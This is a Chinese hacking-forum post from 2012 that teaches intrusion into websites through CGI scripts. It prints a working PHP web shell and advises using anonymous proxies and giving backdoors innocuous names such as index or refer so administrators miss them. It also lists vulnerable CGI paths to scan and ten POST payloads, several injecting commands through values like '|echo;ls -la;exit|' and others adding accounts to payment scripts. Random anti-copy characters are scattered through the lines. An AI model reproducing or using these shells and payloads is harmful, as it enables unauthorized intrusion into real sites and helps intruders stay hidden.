中国网络渗透测试联盟

标题: CGI 脚本入侵快速上手+脚本使用方法 [打印本页]

作者: admin    时间: 2012-9-13 16:54
标题: CGI 脚本入侵快速上手+脚本使用方法
CGI 脚本入侵快速上手+脚本使用方法
( |% |5 D+ O* W大家好 我是bboyhip  只是一名菜菜的exploiter
: o; T7 l' D8 H2 t# d很开心来到贵论坛
1 a1 o2 f' w8 O这里让我感觉 很有技术交流的感觉
  @' ~$ N9 w: B% F- r. w8 k我会长长来玩的
( d9 g- I) e, H前言:
- Q) ]7 _0 M& }以下讲解针对欧美日本网站
6 L8 k6 S5 b! D( o, ^當我們在做滲透分析的時候 方法有很多
6 X: W$ a0 h0 K' `( f我门都知道 国外伺服器大多是linux 平台
, {& T* X, k, b所以有很多网站程序有6成都会使用cgi 脚本来管理
9 W# g- H/ \( F+ y$ o1 h目录为/cgi-bin/6 I: {- ^1 o! d  z

% x/ U6 m4 M: _$ K, ~只是个人在实务上一些经验
) \$ a) ~4 B, T2 y写的不好 请多多见谅喔 4 B; j- Z( m0 z9 e8 s
在这里我简单分为几个部份一定要會的& ]& \6 p2 S& b+ w: h2 p
讲解一下  \! I( X" V$ ^/ I
让没有基础的人很容易上手; h3 A& s6 k8 X, a
2 r% U/ A0 J) U# J% A9 q. Z. B' @
以下内容跟帖回复才能看到& N9 Y6 }7 B0 X6 y: K6 I
==============================% h/ A7 l: X2 A) L
6 ~" R3 w7 F$ e" Y* Y
第1部份: 何谓Shell?: K# i) U6 R  F* l
Shell的中文, 可称为 "壳".  Shell 是一个比较复杂的概念, 先看比较传统的解释:
8 M' j5 k$ A, A# MA shell is the program which reads user input from the command line and executes actions based upon that input.! y' }' X+ s; a. x2 o: E
意思是, 通过应用程式(shell), 用户输入指令, 由系统执行该指令.% y& U7 N# T/ ?) }* K

0 |5 `& i1 W) r. v2 u对於黑客来说, shell是後门, 是入侵/ 控制/ 浏览对方系统的程式/ 方法.  7 {2 z* n! f" ]0 ]  K# D% U1 Q
要自行建立一个shell是十分困难的, 因为要先找漏洞, 找到後, 利用该漏洞来写入档案/ 後门.  大家都知道, 有些漏洞只可加码, 有些可读档, 但可以写档的不多.  在数年前, 有一个十分流行及易用的漏洞addpasswd.cgi, 可以写後门, 但时至今日, 绝大部份的addpasswd.cgi已经被删除.
+ Y% z, N& C$ h' N+ S& G- h3 {所以, 对於入门的exploiter来说, 先收集别人的後门, 多多练习, 然後再学习做自己的shell.; ~  [# ~' X. b3 |' v( o: q# W  ^
/ z9 ~# M  h7 P8 E: R5 [
第2部份: Unix 指令# B/ @. z2 e3 r8 S
以下是一些常见及重要的指令:4 K' A- h7 n+ f& G( G
pwd: 显示当前目录, 即是後门/程式所在的位置% o/ w* ^; }6 P& v/ L
如 /home/www/site.com/cgi-bin/# Q3 o# r6 ?  g# O. G* w4 H" ]
ls: 列出档案 (-a 包含隐藏档; -l 包含详细资料).  # m6 m, \  f3 f. }) j  a) ?2 [% m
ls -al :详细列出档案资料(当前目录)
5 F$ q# P' {  pls /: 列出根目录
/ k0 s+ M, Q7 N( l* Y& u. }0 o; `ls /etc: 列出/etc的资料夹及档案+ v! Y7 x/ m& g) c. L; S5 O5 U4 T
ls ../ -al: 详细列出上一层的资料夹及档案
  n8 D) a/ f7 c5 X" f4 x& }5 c. _cat: 显示档案内容! ~7 \$ A/ U; q0 s
cat .htpasswd: 显示 .htpasswd 这个档案的内容(当前目录)
+ U3 |$ U/ A2 E# Ccat /etc/passwd: 显示 /etc/passwd 这个档案的内容% G  L1 x+ |/ G1 c1 S8 H  ~6 n& P4 |
who: 显示谁login 至系统
; I4 I. |, F) t' P; s) U. j* B- tman: 显示指令用法  ) s5 z( a3 J( ?& }
man ls: 显示ls这指令的用法  
' O4 D( s* w) l3 p* r+ emkdir 建立目录
5 m' r+ `) R5 }rmdir 删除目录
8 R8 Q) ?6 O  _3 Pmv 移动档案. L$ l( P- W# P
rm 删除档案% t" s' Z4 U6 Y

( I7 r! y- C9 q: x第3部份: Shell的使用
7 F3 R! K; _: [, `例如:! a6 \& g: m5 `9 h0 X/ g5 _& ~
http://site.com/refer.php. @7 m& ^. o4 V$ K
这是我的後门, 原代码如下:: u  @' e/ Q6 R+ I+ P
<Form Action="#" Method="POST"> " l0 |5 P5 p2 @/ ~0 \7 S, M8 O) h# c
<Input type="text" name="cmd"> + |  p1 O5 B  ]+ c4 D) D$ `1 V: e3 H
<Input type="Submit"> 7 z7 o' ^4 k9 E7 E* L/ [, u
</Form> 9 F! @  M) @) G
<?php
: S3 v  D& o8 v2 A" r0 J$cmd = $_POST['cmd']; 0 M9 Q( U9 J& @2 j
$Output = shell_exec($cmd);
+ q$ l& m# S/ y7 e8 ^' d/ R% P/ Becho $Output; 9 A' t& E7 w* c. ?' P" q3 o9 L
?> 8 B' h9 C/ M; H" {3 F6 A
输入pwd, 可得到绝对路径:. n) V0 [' R5 f6 u  v# ~
/home/htdocs/users/jnesbitt/jnesbitt/nylonfantasies.com; N& X. V$ [8 V& V2 K9 _& Y
$ c' E% i3 H$ W) n9 b, c
第4部份: 注意事项8 G0 ?& z% O# j* J' [' z5 A) A0 _
- 使用匿名代理, 保障自己) ^3 o9 ~3 T9 s- x* O! s+ ?+ q/ W
- 不可恶意破坏, 或更改现有档案, 否则管理员发现了, 不但会删除後门, 可能会有追究行动1 p+ F, t3 r( H3 S0 b: m% Y- O. W
- 加後门前, 必须了解目标系统是否支援.  例如, cgi後门, 应放在cgi-bin; 有些系统可能不支援 php後门等.
0 Q' H" y/ \& W- 加後门前 (如 index.php), 先检查是否已存在该档案名称, 以免覆盖原有档案, 造成破坏.
7 f* `6 W$ z. w# f: W- 後门的名称, 不可使用hack, crack, exploit等字眼, 最好使用index, index1, log, login, refer, tmp, test, info等, 鱼目混珠,
: l5 T8 t' R  n/ B5 J不容易被发现.6 g- K! w0 U( V0 B1 ]
- 将後门放在比较隐闭的地方 (例如 /cgi-bin/内, 有很多cgi档案, 比较少php档案): w2 {) n! z9 w* l. U% \
针对网站的渗透分析方法太多了; E+ E4 r) h$ A  n
这篇文章的重点是cgi 脚本攻击
  q  ?2 s" R5 ~所以我用简单的叙述形容
2 \9 {2 @0 J- u2 \8 Q: _开始讲解脚本入侵过程:
$ p0 J0 F- V9 W1 Q在这里提供一些方法思路让大家学习一下$ R- S3 Y/ I# w! ^1 t* x
$ u1 ?  B2 l2 Z9 c5 c0 w
1.一开始对一个网站进行cgi漏洞扫描3 F3 H* M2 S$ E0 f0 h8 A
我们需要的东西有
3 c" N6 P5 M. J  x- l0 y扫洞工具 如:triton..等等
* P$ W3 M+ ]6 o& X# o# a% U4 [8 i! sE表
3 y5 K& y7 K$ e; e# _, y8 c9 ~8 E
/cgi-bin/add-passwd.cgi 3 [1 ~; r% i( D% F
/WebShop/templates/cc.txt" m- k8 S4 m0 S% E1 `6 \
/Admin_files/order.log" {5 ?. A0 _  I% V
/orders/mountain.cfg  q+ H6 |6 r; Z& e* V
/cgi-sys/cart.pl
0 Q1 h! G) ?1 g% {+ A: G/scripts/cart.pl
9 n5 Y9 d! p2 \$ r: Y" [/htbin/cart.pl  b) r: ?( B$ t$ S! I7 J* J
E表来源可以是网路收寻或是自己的0 day' `$ l5 l% Q* p# f8 o& h0 m3 g( Q
: e. B- _) M* B( w- f+ R3 Z6 k
2.怎样确认扫到的洞 是真的还假的?
2 v* u* g% K/ _举例: target: http://www.site.com/cgi-bin/add-passwd.cgi1 W8 F7 x7 |9 k% S
一般都是在IE里先看一下的,记住这个返回码哦
3 O4 _. ^0 t' I1 }: Y7 sERROR:This script should be referenced with a METHOD of POST.) n/ o/ `1 q9 g8 I$ {8 F
没有返回一定是假的
: |; _" o3 i  J2 g3.重来来了 很多人都会问我0 ~, F! L7 ^$ D  |
他扫到很多洞 但是不会使用 7 v6 |5 C5 s& q  R, s4 @$ j
因为这些漏洞 使用的语法 称为post
9 y* v: L) [$ R我们要找post 的方法很多
- F, D4 T, n$ b8 o6 q- q: O可以是源代码分析 找出介质8 i: f7 y( \3 U& e8 S& G# V' c9 K( r
或是用抓包工具 抓他的语法...等等
  J: l+ i; x* E/ ^
7 e; I' |" j' _5 e3 K9 w% C" t以下我提供10个 cgi 洞以及使用方法post
: Y4 X1 h: G# ^' ~$ `) Q1 t8 c让大家可以针对网站去做扫描  . q0 s5 P$ A+ {, i# |
/index.cgi0 l& m9 Q. `0 M* n) |6 o+ b
wei=ren&gen=command5 J5 o0 n, W+ v0 F& G
/passmaster.cgi& c( G9 Z3 m) Z/ v8 k: q; C+ Z
Action=Add&Username=Username&Password=Password
3 y4 ~% P% y& ^7 {/ n' C4 ], G$ q/accountcreate.cgi
0 S2 H" P0 r) D7 E4 C* _; m) ~username=username&password=password&ref1=|echo;ls|; q% X9 F& T6 u# x9 {; ?4 P
/form.cgi7 p" N6 }9 K  }
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
, ^$ H. U9 P* f% ~( ?/addusr.pl4 G# X! J5 I+ |  T
/cgi-bin/EuroDebit/addusr.pl8 v9 g8 \3 y* B, g) Y* L
user=username&pass=Password&confirm=Password
" z6 c0 o. ]3 G) x2 W7 g/ccbill-local.asp+ h$ H) g; }; Y
post_values=username:password% w7 N, R4 t: G5 T7 W4 J
/count.cgi) X" b6 u; f4 t8 c5 S
pinfile=|echo;ls -la;exit| ! A$ ^/ F9 P8 M' D: L
/recon.cgi+ p: \2 ?( H8 J+ G  o/ d& V% z
/recon.cgi?search0 j8 \, q8 m$ ~0 H2 y
searchoption=1&searchfor=|echo;ls -al;exit|
3 b/ ^: P* e! r! U( c4 v( c/verotelrum.pl
( n- E  h4 d0 [1 avercode=username:password:dseegsow:add:amount<&30>
2 F/ Y- E1 y$ G  j$ X) t5 G3 U: ?/af.cgi_browser_out=|echo;ls -la;exit;|
$ n8 I7 c! H3 r. s0 I% c, @" X8 m# T3 N, f
今天就讲到这  感谢大家支持
+ Q+ r/ Q* K* J




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2